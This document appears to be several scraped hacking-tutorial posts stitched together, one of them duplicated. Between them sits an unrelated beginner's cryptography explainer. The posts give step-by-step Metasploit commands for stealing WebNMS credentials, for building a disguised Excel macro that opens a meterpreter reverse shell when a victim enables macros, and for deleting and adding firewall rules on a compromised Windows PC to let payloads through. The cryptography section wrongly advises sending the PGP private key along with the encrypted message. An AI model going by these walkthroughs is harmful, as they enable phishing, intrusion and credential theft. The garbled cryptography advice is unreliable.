Gather Credential of WebNMS Framework Server using Metasploit


Exploit Targets
WebNMS Framework Server 5.2

Requirement
Attacker: kali Linux
Victim PC: WebNMS Framework Server 5.2


Open Kali terminal type msfconsole


msf exploit (webnms_cred_disclosure)>set rhost 192.168.0.103 (IP of Remote Host)
msf exploit (webnms_cred_disclosure)>exploit           

Gather Credential of WebNMS Framework Server using Metasploit


Exploit Targets
WebNMS Framework Server 5.2

Requirement
Attacker: kali Linux
Victim PC: WebNMS Framework Server 5.2


Open Kali terminal type msfconsole


msf exploit (webnms_cred_disclosure)>set rhost 192.168.0.103 (IP of Remote Host)
msf exploit (webnms_cred_disclosure)>exploit           

Beginner Guide of Cryptography (Part 1)

Cryptography is conversion of plain readable text into unreadable form. In cryptography first the data is coverted into cipher text (that is encryption) and then the cipher text is coverted back into readable form (that is decryption). Cryptography basically works on the concept of encryption and decryption. Encryption and decryption should not be confused with encoding and decoding, in which data is converted from one form to another but is not deliberately altered so as to conceal its content. Encryption is achieved through the algorythms. These algorythms are works with logic, mathematic calculations and its complexities.
Encryption : Encrypted data is refered to cipher text. Cipher text is conversion of readable text into undreadable form. It is the most effective way to achieve data security. To read an encrypted file, you must have access to a secret key or password that enables you to decrypt it. 
Decryption : Decryption is the process of converting encrypted data back into its original form, so it can be understood. To decrypt the data one needs a secret key or password so it can be decrypted.
Encryption can be done through three ways:

1. Symmetric
2. Asymmetric
3. Hash

Symmetric :Symmetric encryption’s job is to take readable data, scramble it to make it unreadable, then unscramble it again when it’s needed. It’s generally fast, and there are lots of good encryption methods to choose from.  The most important thing to remember about symmetric encryption is that both sides—the encrypter, and the decrypter—need access to the same key.

Asymmetric :Asymmetric encryption also takes readable data, scrambles it, and unscrambles it again at the other end, but there’s a twist : a different key is used for each end.  Encrypters use a public key to scramble the data, and decrypters use the matching private (secret) key on the other end to unscramble it again.

Hash :Hashing is what is actually happening when you hear about passwords being “encrypted”.  Strictly speaking, hashing is not a form of encryption, though it does use cryptography.  Hashing takes data and creates a hash out of it, a string of data with three important properties : the same data will always produce the same hash, it’s impossible to reverse it back to the original data, given knowledge of only the hash, it’s infeasible to create another string of data that will create the same hash (called a “collision” in crypto parlance). hash is to authenticate otherwise clearly-transmitted data using a shared secret (effectively, a key.) The hash is generated from the data and this secret, so that only the data and the hash are visible; the shared secret is not transmitted and it thus becomes infeasible to modify either the data or the hash without such modification being detected.
Now, there are very simple methods to achieve cryptography in our day to day life so that our data sharing can be done securely.


For Symmetric encyption we can simply visit the website : www.aesencryption.net , shown below : 


On this is website in first box writing your message and in second box give your password and then click on encrypt button on the right side.


The website will now reload itself and will provide you the encrypted text. Send this encrypted text to the desired person and tell them the key (which, in this case, is time).

The said person, after receiving your encrypted message, can come on this website to decrypt it. He/She wil simple have to copy the encrypted text and paste it on the first box and enter the key in next box and click on decrypt button on the right side as shown below :


After clicking on decrypt the site will reload itself and will provide you with plain text.


Hence, symetric encryption.
For Asymmetric encryption, we can simply go to www.igolder.com/pgp/generate-key/ , the following website wil open:


Click on generate PGP keys, after opening the website. A public and private key will be generated.


Now, copy the public key and click on PGP encrypt message option, it will redirect to the following page


Paste the public key in the first box and write your message in the second box. By clicking on Encrypt Message, you will get your message ecrypted.


Now, copy this encrypted message to the desired person along with the private key which you generated in the first step. The same person can also visited this site and click on PGP decrypt message option to decrypt the message. After clicking on the said option, the following page will open:


He/She can copy the private key and ecrypted message and paste it on first and second box respectively.


At last click on Decrypt message and your message will be decrypted.

Hack Remote Windows PC using Macros with Msfvenom

Open metasploit framework by typing the command: and type
use windows/meterpreter/reverse_https
msf exploit (reverse_https)>set lhost 192.168.0.104 (IP of Local Host)
msf exploit (reverse_https)>set lport 443

msf exploit (reverse_https)>generate –t vba


The command generates -t vba means to generate a raw code in text formal in language visual basic.
Copy the code that comes in terminal.
Now open windows->New Microsoft Office Excel Worksheet->view (on the top bar) ->macro
Enter the macro name->create


Now select: 'This Workbook' and paste the vba code generated before and save the file as a new name and edit the document so as to make it look authentic and user should definitely enable the macros option.



Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.104
set lport 443
exploit

Now, wait for the victim to open the document and enable the macros option. As soon as he clicks on the enable macros option we will get a meterpreter session.

Firewall Penetration Testing in Remote Windows PC (Part 2)

For introduction to firewall please visit Firewall Penetration Testing – Part 1In this article we will learn how to view inbound and outbound rules of firewall in remote PC, how to delete a rule, how to allow the port on which our payload will work in future, how to stop your remote PC from being ping.


First of all let us assume that there is a blocked port in outbound rule in our remote PC:


To know which rule is enabled and disabled in our remote PC , take a session through meterepreter and bypass administrator privileges. After doing so type:
 netsh advfirewall firewall show rule=all
Once this command is executed, all the rules will be displayed :


In the above image we can see that Port 80 and Port 443 is blocked under the rule name “Block All Ports”.  So to delete that rule in the remote PC  type :
Netsh  advfirewall firewall delete rule name=”Block All Ports” 


Once this command executed, the said rule will be deleted. And you can run
netsh advfirewall firewall show rule=all
Command again to see the result :


And we can also see the result in the firewall outbound rules :

 Our normal payload works on port 4444. Now, if we want to allow port 4444 so we can upload a payload which works on port 4444, we just have to type :

Netsh advfireweall firewall add rule name=”Allow Port 4444” protocol=TCP dir=out remoteport=4444 action=allow



Once this command executed, port 4444 will be allowed on our remote PC :


Now to block stop our remote PC from being pinged we can just type :
Netsh advfirewall firewall add rule name=”All ICMPV4” dir=in action=block protocol=icmpv4


When this command will be executed, a rule blocking ping to our remote PC will created


And the following will be the result :